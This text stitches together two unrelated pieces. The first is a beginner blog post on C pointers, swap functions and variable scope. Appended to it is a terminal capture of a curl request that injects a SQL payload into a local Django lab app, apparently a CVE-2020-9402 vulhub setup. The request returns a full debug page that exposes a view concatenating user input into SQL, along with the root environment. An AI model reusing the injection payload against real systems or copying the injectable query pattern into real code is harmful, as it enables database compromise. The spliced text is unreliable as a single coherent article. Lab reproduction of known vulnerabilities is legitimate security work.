C column of Pointer <1>

本文详细介绍了指针的概念、初始化与访问方法,并通过实例展示了如何使用指针修改变量值。同时,文章探讨了作用域的概念,解释了局部变量与全局变量的区别,以及函数调用时参数传递的方式。通过具体代码示例,直观地展现了作用域内变量的可见性和生命周期。
Now , let us go on talking about the pointer , in the "C column of Pointer <0>" had detailed the definition ,initialization and access the pointer . Most of us maybe have been  clear about the  the memory allocation.  Here we go 

Here is the definition

#include <stdio.h>
int main(void)
{
  int price  = 10;
  int quantity = 20;

  int *p_pr = &price;
  int *p_qt = (int *)0;//Point to null 
  p_qt = &quantity;
  int total = (*p_pr)*(*p_qt);

  printf("The total price is %d \n",total);
  
  *p_pr = 15;//The price goes up like our city's house price
  quantity = 18;//But the suppling quantities go down
  total = (*p_pr)*(*p_qt);

  printf("The now total price is %d \n",total);

  return 0;
}



From this example ,we assign two new values to the variables one through the pointer variable "p_pr"  and the other through the integar variable "quantity". We may call thses the fundemantal application with pointer. But if we just use a pointer like these,that's so suck! Here, remind me two funny programs about the swap two numbers as below .
static void swap_two(int data1, int data2)
{
  int temp = data1;
  data1 = data2;
  data2 = temp;
}

static void swap_2(int *p_data1, int *p_data2)
{
  int temp = *p_data1;
  *p_data1 = *p_data2;
  *p_data2 = temp;
}


 Both of the examples are listed in some C reference books.Some books said that when our program  call this swap_two() sub routine,we just transmit the copy_ones to the argument but not themselves. so we can't swap the two values. Well, the swap2() what we operate the two value's address. We assign the other value to the address directly. This saying is right, but i don't think that's the key issues.On the contrary make me feel sick.  If you want to know why, we must make clear the scope of a program. When we call a function, how dose this function work?. For example,
static int scope_one(void)
{
  int var1 = 0;
  return 0;
}


Do you know the the scope of the  integer variable "var1" . Surely, this local variable are created in the stack at calling this subroutine. This variable's scope ends when  the scope_one() function returns.This is just the one issue, there are also related issues like if a function call this one, where the function return, if there are several arguments in a function ,what to do?I will fulfill this chapter next time or next next time with some schematic . Using schematic make us understand these conception more easily.
Ok, let go on this article, previous chapter has been introduce the memory allocation, the scope is really depends on the memory. A scope is a region of the program and most time it related with the variables include global variables and local variables (or function parameters). Inner the scope, we can accessed the variables, outer we can't. For example ,
/*Test the scope*/
#include <stdio.h>

int global_var1 = 0;
float global_var2 = 0.0;

static void func1(int pa_var1,int pa_var2)
{
  int local_var1 = 0, local_var2 = 0;

  local_var1 = pa_var1 - pa_var2;
  local_var2 = pa_var1 + pa_var2;

  printf("pa_var1 = %d address : %p\n",pa_var1,&pa_var1);
  printf("pa_var2 = %d address : %p\n",pa_var2,&pa_var2);
  printf("local_var1 = %d address : %p\n",local_var1,&local_var1);
  printf("local_var1 = %d address : %p\n",local_var1,&local_var1);
  
  printf("global_var2 = %f address : %p\n",global_var2,&global_var2);
}

int main(void)
{
  int mlo_var1 = 0;
  printf("mlo_var1 = %d  address: %p\n",mlo_var1,&mlo_var1);
  
  /*This is special one here just two braces*/
  {
    int lo_var2 = 0;
    printf("lo_var2 = %d  address: %p\n",lo_var2,&lo_var2);
  }

  /*Not visible of lo_var2 here, because beyond its scope */
  //printf("lo_var2 = %d  address: %p\n",lo_var2,&lo_var2);

  func1(1,2);
  printf("global_var1 = %d address : %p\n",global_var1,&global_var1);
  return 0;
}


This program is just in one source file, so we can use the global variables anywhere throughout the lifetime of this program, but in multiple sources files, if we define a global variable in a source file, but we used it in another source file, we may declare it as "extern" in referenced source file .Here i draw a schematic to show the scope of a program.



From the schematic ,we can observe the difference type variable divided into difference sections. And the GLOBALS section holds the global variables which scope is visible to the whole program, these global variables are destroyed until the main() function exit. The STACK section load the local variables ,return vectors where is  noted by the thunder lighting flag  and intermediate variables if your subroutines apply some calculation.Here we list the conclusion below table

VariablesScopeDeclaredSection
globalthe whole program, they can be accessed by any functionUsually on top of programGLOBALS
local / parametersVisible in side of a function declared or block of code until return from the function or block of codeInside a function or block of codeSTACK

Here is an program as below

/*Scope visible or invisible*/
#include <stdio.h>

int var1 = 100;//First, declare var as global variable

static int mul(int a, int b)
{
  return a*b;
}

int main(void)
{
  int var1 = 2;//Second, declare var1 as local variable
  int var2 = 3;
  int var3 = 0;
  var3 = mul(var1,var2);
  printf("The result is %d\n",var3);

  return 0;
}
We have declared "var1" as a global variable at the top of the program, but in main() function we declared the same name variable "var1", too. When we call the mul() and var1 as one of the parameters , what's the result?

Here a method maybe call visible or invisible (block?) , i don't know whether this 'visible' is correct or not. But here i just use this noun visible to express that i can be accessed by a function. In this main() function , the local var1 is visible by the mul() function ,and this local var1 invisible(verb) the global variable. As show in this schematic 


I'm a little tired!  So finish here.  Have a nice weekend,everyone!



zzz@zzz-virtual-machine:~/Desktop$ curl -H "Host: localhost" "http://192.168.20.128:8000/?geom=SRID=4326;SELECT%20version();--" <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="robots" content="NONE,NOARCHIVE"> <title>OperationalError at /</title> <style type="text/css"> html * { padding:0; margin:0; } body * { padding:10px 20px; } body * * { padding:0; } body { font:small sans-serif; background-color:#fff; color:#000; } body>div { border-bottom:1px solid #ddd; } h1 { font-weight:normal; } h2 { margin-bottom:.8em; } h3 { margin:1em 0 .5em 0; } h4 { margin:0 0 .5em 0; font-weight: normal; } code, pre { font-size: 100%; white-space: pre-wrap; } table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; } tbody td, tbody th { vertical-align:top; padding:2px 3px; } thead th { padding:1px 6px 1px 3px; background:#fefefe; text-align:left; font-weight:normal; font-size:11px; border:1px solid #ddd; } tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; } table.vars { margin:5px 0 2px 40px; } table.vars td, table.req td { font-family:monospace; } table td.code { width:100%; } table td.code pre { overflow:hidden; } table.source th { color:#666; } table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; } ul.traceback { list-style-type:none; color: #222; } ul.traceback li.frame { padding-bottom:1em; color:#4f4f4f; } ul.traceback li.user { background-color:#e0e0e0; color:#000 } div.context { padding:10px 0; overflow:hidden; } div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; } div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; } div.context ol li pre { display:inline; } div.context ol.context-line li { color:#464646; background-color:#dfdfdf; padding: 3px 2px; } div.context ol.context-line li span { position:absolute; right:32px; } .user div.context ol.context-line li { background-color:#bbb; color:#000; } .user div.context ol li { color:#666; } div.commands { margin-left: 40px; } div.commands a { color:#555; text-decoration:none; } .user div.commands a { color: black; } #summary { background: #ffc; } #summary h2 { font-weight: normal; color: #666; } #explanation { background:#eee; } #template, #template-not-exist { background:#f6f6f6; } #template-not-exist ul { margin: 0 0 10px 20px; } #template-not-exist .postmortem-section { margin-bottom: 3px; } #unicode-hint { background:#eee; } #traceback { background:#eee; } #requestinfo { background:#f6f6f6; padding-left:120px; } #summary table { border:none; background:transparent; } #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; } #requestinfo h3 { margin-bottom:-1em; } .error { background: #ffc; } .specific { color:#cc3300; font-weight:bold; } h2 span.commands { font-size:.7em; font-weight:normal; } span.commands a:link {color:#5E5694;} pre.exception_value { font-family: sans-serif; color: #575757; font-size: 1.5em; margin: 10px 0 10px 0; } .append-bottom { margin-bottom: 10px; } </style> <script type="text/javascript"> function hideAll(elems) { for (var e = 0; e < elems.length; e++) { elems[e].style.display = 'none'; } } window.onload = function() { hideAll(document.querySelectorAll('table.vars')); hideAll(document.querySelectorAll('ol.pre-context')); hideAll(document.querySelectorAll('ol.post-context')); hideAll(document.querySelectorAll('div.pastebin')); } function toggle() { for (var i = 0; i < arguments.length; i++) { var e = document.getElementById(arguments[i]); if (e) { e.style.display = e.style.display == 'none' ? 'block': 'none'; } } return false; } function varToggle(link, id) { toggle('v' + id); var s = link.getElementsByTagName('span')[0]; var uarr = String.fromCharCode(0x25b6); var darr = String.fromCharCode(0x25bc); s.textContent = s.textContent == uarr ? darr : uarr; return false; } function switchPastebinFriendly(link) { s1 = "Switch to copy-and-paste view"; s2 = "Switch back to interactive view"; link.textContent = link.textContent.trim() == s1 ? s2: s1; toggle('browserTraceback', 'pastebinTraceback'); return false; } </script> </head> <body> <div id="summary"> <h1>OperationalError at /</h1> <pre class="exception_value">no such column: None</pre> <table class="meta"> <tr> <th>Request Method:</th> <td>GET</td> </tr> <tr> <th>Request URL:</th> <td>http://localhost/?geom=SRID=4326;SELECT%20version();--</td> </tr> <tr> <th>Django Version:</th> <td>3.0.3</td> </tr> <tr> <th>Exception Type:</th> <td>OperationalError</td> </tr> <tr> <th>Exception Value:</th> <td><pre>no such column: None</pre></td> </tr> <tr> <th>Exception Location:</th> <td>/root/django_cve_2020_9402/app/views.py in index, line 10</td> </tr> <tr> <th>Python Executable:</th> <td>/usr/bin/python3</td> </tr> <tr> <th>Python Version:</th> <td>3.10.12</td> </tr> <tr> <th>Python Path:</th> <td><pre>['/root/django_cve_2020_9402', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/dist-packages', '/usr/lib/python3/dist-packages']</pre></td> </tr> <tr> <th>Server time:</th> <td>Sun, 30 Nov 2025 15:18:38 +0000</td> </tr> </table> </div> <div id="traceback"> <h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);"> Switch to copy-and-paste view</a></span> </h2> <div id="browserTraceback"> <ul class="traceback"> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code> <div class="context" id="c139322623517440"> <ol start="27" class="pre-context" id="pre139322623517440"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> This decorator is automatically applied to all middleware to ensure that</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> no middleware leaks an exception and that the next middleware in the stack</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> can rely on getting a response instead of an exception.</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> """</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> @wraps(get_response)</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> def inner(request):</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> try:</pre></li> </ol> <ol start="34" class="context-line"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> response = get_response(request)</pre> <span>…</span></li> </ol> <ol start='35' class="post-context" id="post139322623517440"> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> except Exception as exc:</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> response = response_for_exception(request, exc)</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> return response</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre> return inner</pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre></pre></li> <li onclick="toggle('pre139322623517440', 'post139322623517440')"><pre></pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623517440')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623517440"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>exc</td> <td class="code"><pre>OperationalError('no such column: None')</pre></td> </tr> <tr> <td>get_response</td> <td class="code"><pre><bound method BaseHandler._get_response of <django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> </tbody> </table> </li> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code> <div class="context" id="c139322623522112"> <ol start="108" class="pre-context" id="pre139322623522112"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> break</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre></pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> try:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> except Exception as e:</pre></li> </ol> <ol start="115" class="context-line"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> response = self.process_exception_by_middleware(e, request)</pre> <span>…</span></li> </ol> <ol start='116' class="post-context" id="post139322623522112"> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre></pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> # Complain if the view returned None (a common error).</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> view_name = callback.__name__</pre></li> <li onclick="toggle('pre139322623522112', 'post139322623522112')"><pre> else: # CBV</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623522112')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623522112"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> <tr> <td>callback_args</td> <td class="code"><pre>()</pre></td> </tr> <tr> <td>callback_kwargs</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>middleware_method</td> <td class="code"><pre><bound method CsrfViewMiddleware.process_view of <django.middleware.csrf.CsrfViewMiddleware object at 0x7eb69376d660>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> <tr> <td>resolver</td> <td class="code"><pre><URLResolver 'vuln.urls' (None:None) '^/'></pre></td> </tr> <tr> <td>resolver_match</td> <td class="code"><pre>ResolverMatch(func=app.views.index, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[], route=)</pre></td> </tr> <tr> <td>response</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>self</td> <td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0></pre></td> </tr> <tr> <td>wrapped_callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> </tbody> </table> </li> <li class="frame django"> <code>/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code> <div class="context" id="c139322623521664"> <ol start="106" class="pre-context" id="pre139322623521664"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> break</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre></pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> try:</pre></li> </ol> <ol start="113" class="context-line"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>…</span></li> </ol> <ol start='114' class="post-context" id="post139322623521664"> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> except Exception as e:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> response = self.process_exception_by_middleware(e, request)</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre></pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> # Complain if the view returned None (a common error).</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if response is None:</pre></li> <li onclick="toggle('pre139322623521664', 'post139322623521664')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623521664')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623521664"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> <tr> <td>callback_args</td> <td class="code"><pre>()</pre></td> </tr> <tr> <td>callback_kwargs</td> <td class="code"><pre>{}</pre></td> </tr> <tr> <td>middleware_method</td> <td class="code"><pre><bound method CsrfViewMiddleware.process_view of <django.middleware.csrf.CsrfViewMiddleware object at 0x7eb69376d660>></pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> <tr> <td>resolver</td> <td class="code"><pre><URLResolver 'vuln.urls' (None:None) '^/'></pre></td> </tr> <tr> <td>resolver_match</td> <td class="code"><pre>ResolverMatch(func=app.views.index, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[], route=)</pre></td> </tr> <tr> <td>response</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>self</td> <td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7eb69376d8d0></pre></td> </tr> <tr> <td>wrapped_callback</td> <td class="code"><pre><function index at 0x7eb694005a20></pre></td> </tr> </tbody> </table> </li> <li class="frame user"> <code>/root/django_cve_2020_9402/app/views.py</code> in <code>index</code> <div class="context" id="c139322623518016"> <ol start="3" class="pre-context" id="pre139322623518016"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre>import sqlite3</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre></pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre>def index(request):</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> id = request.GET.get('id')</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> # 漏洞点:直接拼接 SQL,触发注入</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> conn = sqlite3.connect('db.sqlite3')</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> cursor = conn.cursor()</pre></li> </ol> <ol start="10" class="context-line"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> cursor.execute(f"SELECT id, name FROM app_userinfo WHERE id = {id}")</pre> <span>…</span></li> </ol> <ol start='11' class="post-context" id="post139322623518016"> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> results = cursor.fetchall()</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> conn.close()</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> data = [{'id': row[0], 'name': row[1]} for row in results]</pre></li> <li onclick="toggle('pre139322623518016', 'post139322623518016')"><pre> return JsonResponse(data, safe=False)</pre></li> </ol> </div> <div class="commands"> <a href="#" onclick="return varToggle(this, '139322623518016')"><span>▶</span> Local vars</a> </div> <table class="vars" id="v139322623518016"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>conn</td> <td class="code"><pre><sqlite3.Connection object at 0x7eb694722d40></pre></td> </tr> <tr> <td>cursor</td> <td class="code"><pre><sqlite3.Cursor object at 0x7eb693681040></pre></td> </tr> <tr> <td>id</td> <td class="code"><pre>None</pre></td> </tr> <tr> <td>request</td> <td class="code"><pre><WSGIRequest: GET '/?geom=SRID=4326;SELECT%20version();--'></pre></td> </tr> </tbody> </table> </li> </ul> </div> <form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"> <div id="pastebinTraceback" class="pastebin"> <input type="hidden" name="language" value="PythonConsole"> <input type="hidden" name="title" value="OperationalError at /"> <input type="hidden" name="source" value="Django Dpaste Agent"> <input type="hidden" name="poster" value="Django"> <textarea name="content" id="traceback_area" cols="140" rows="25"> Environment: Request Method: GET Request URL: http://localhost/?geom=SRID=4326;SELECT%20version();-- Django Version: 3.0.3 Python Version: 3.10.12 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app'] Installed Middleware: ['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware'] Traceback (most recent call last): File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/exception.py", line 34, in inner response = get_response(request) File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py", line 115, in _get_response response = self.process_exception_by_middleware(e, request) File "/usr/local/lib/python3.10/dist-packages/django/core/handlers/base.py", line 113, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/root/django_cve_2020_9402/app/views.py", line 10, in index cursor.execute(f"SELECT id, name FROM app_userinfo WHERE id = {id}") Exception Type: OperationalError at / Exception Value: no such column: None </textarea> <br><br> <input type="submit" value="Share this traceback on a public website"> </div> </form> </div> <div id="requestinfo"> <h2>Request information</h2> <h3 id="user-info">USER</h3> <p>AnonymousUser</p> <h3 id="get-info">GET</h3> <table class="req"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>geom</td> <td class="code"><pre>'SRID=4326'</pre></td> </tr> <tr> <td>SELECT version()</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>--</td> <td class="code"><pre>''</pre></td> </tr> </tbody> </table> <h3 id="post-info">POST</h3> <p>No POST data</p> <h3 id="files-info">FILES</h3> <p>No FILES data</p> <h3 id="cookie-info">COOKIES</h3> <p>No cookie data</p> <h3 id="meta-info">META</h3> <table class="req"> <thead> <tr> <th>Variable</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>COLORTERM</td> <td class="code"><pre>'truecolor'</pre></td> </tr> <tr> <td>CONTENT_LENGTH</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>CONTENT_TYPE</td> <td class="code"><pre>'text/plain'</pre></td> </tr> <tr> <td>DEBUGINFOD_URLS</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>DISPLAY</td> <td class="code"><pre>':0'</pre></td> </tr> <tr> <td>DJANGO_SETTINGS_MODULE</td> <td class="code"><pre>'vuln.settings'</pre></td> </tr> <tr> <td>GATEWAY_INTERFACE</td> <td class="code"><pre>'CGI/1.1'</pre></td> </tr> <tr> <td>HOME</td> <td class="code"><pre>'/root'</pre></td> </tr> <tr> <td>HTTP_ACCEPT</td> <td class="code"><pre>'*/*'</pre></td> </tr> <tr> <td>HTTP_HOST</td> <td class="code"><pre>'localhost'</pre></td> </tr> <tr> <td>HTTP_USER_AGENT</td> <td class="code"><pre>'curl/7.81.0'</pre></td> </tr> <tr> <td>LANG</td> <td class="code"><pre>'en_US.UTF-8'</pre></td> </tr> <tr> <td>LANGUAGE</td> <td class="code"><pre>'en_US:'</pre></td> </tr> <tr> <td>LC_ADDRESS</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_IDENTIFICATION</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_MEASUREMENT</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_MONETARY</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_NAME</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_NUMERIC</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_PAPER</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_TELEPHONE</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LC_TIME</td> <td class="code"><pre>'zh_CN.UTF-8'</pre></td> </tr> <tr> <td>LESSCLOSE</td> <td class="code"><pre>'/usr/bin/lesspipe %s %s'</pre></td> </tr> <tr> <td>LESSOPEN</td> <td class="code"><pre>'| /usr/bin/lesspipe %s'</pre></td> </tr> <tr> <td>LOGNAME</td> <td class="code"><pre>'root'</pre></td> </tr> <tr> <td>LS_COLORS</td> <td class="code"><pre>'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:'</pre></td> </tr> <tr> <td>MAIL</td> <td class="code"><pre>'/var/mail/root'</pre></td> </tr> <tr> <td>OLDPWD</td> <td class="code"><pre>'/root/vulhub/django/CVE-2020-9402/src'</pre></td> </tr> <tr> <td>PATH</td> <td class="code"><pre>'/xp/server/docker:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin:/xp/server/docker'</pre></td> </tr> <tr> <td>PATH_INFO</td> <td class="code"><pre>'/'</pre></td> </tr> <tr> <td>PWD</td> <td class="code"><pre>'/root/django_cve_2020_9402'</pre></td> </tr> <tr> <td>QUERY_STRING</td> <td class="code"><pre>'geom=SRID=4326;SELECT%20version();--'</pre></td> </tr> <tr> <td>REMOTE_ADDR</td> <td class="code"><pre>'192.168.20.128'</pre></td> </tr> <tr> <td>REMOTE_HOST</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>REQUEST_METHOD</td> <td class="code"><pre>'GET'</pre></td> </tr> <tr> <td>RUN_MAIN</td> <td class="code"><pre>'true'</pre></td> </tr> <tr> <td>SCRIPT_NAME</td> <td class="code"><pre>''</pre></td> </tr> <tr> <td>SERVER_NAME</td> <td class="code"><pre>'zzz-virtual-machine'</pre></td> </tr> <tr> <td>SERVER_PORT</td> <td class="code"><pre>'8000'</pre></td> </tr> <tr> <td>SERVER_PROTOCOL</td> <td class="code"><pre>'HTTP/1.1'</pre></td> </tr> <tr> <td>SERVER_SOFTWARE</td> <td class="code"><pre>'WSGIServer/0.2'</pre></td> </tr> <tr> <td>SHELL</td> <td class="code"><pre>'/bin/bash'</pre></td> </tr> <tr> <td>SHLVL</td> <td class="code"><pre>'1'</pre></td> </tr> <tr> <td>SUDO_COMMAND</td> <td class="code"><pre>'/bin/bash'</pre></td> </tr> <tr> <td>SUDO_GID</td> <td class="code"><pre>'1000'</pre></td> </tr> <tr> <td>SUDO_UID</td> <td class="code"><pre>'1000'</pre></td> </tr> <tr> <td>SUDO_USER</td> <td class="code"><pre>'zzz'</pre></td> </tr> <tr> <td>TERM</td> <td class="code"><pre>'xterm-256color'</pre></td> </tr> <tr> <td>TZ</td> <td class="code"><pre>'UTC'</pre></td> </tr> <tr> <td>USER</td> <td class="code"><pre>'root'</pre></td> </tr> <tr> <td>XAUTHORITY</td> <td class="code"><pre>'/run/user/1000/.mutter-Xwaylandauth.T2BDG3'</pre></td> </tr> <tr> <td>XDG_CURRENT_DESKTOP</td> <td class="code"><pre>'ubuntu:GNOME'</pre></td> </tr> <tr> <td>XDG_DATA_DIRS</td> <td class="code"><pre>'/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop'</pre></td> </tr> <tr> <td>_</td> <td class="code"><pre>'/usr/bin/python3'</pre></td> </tr> <tr> <td>wsgi.errors</td> <td class="code"><pre><_io.TextIOWrapper name='<stderr>' mode='w' 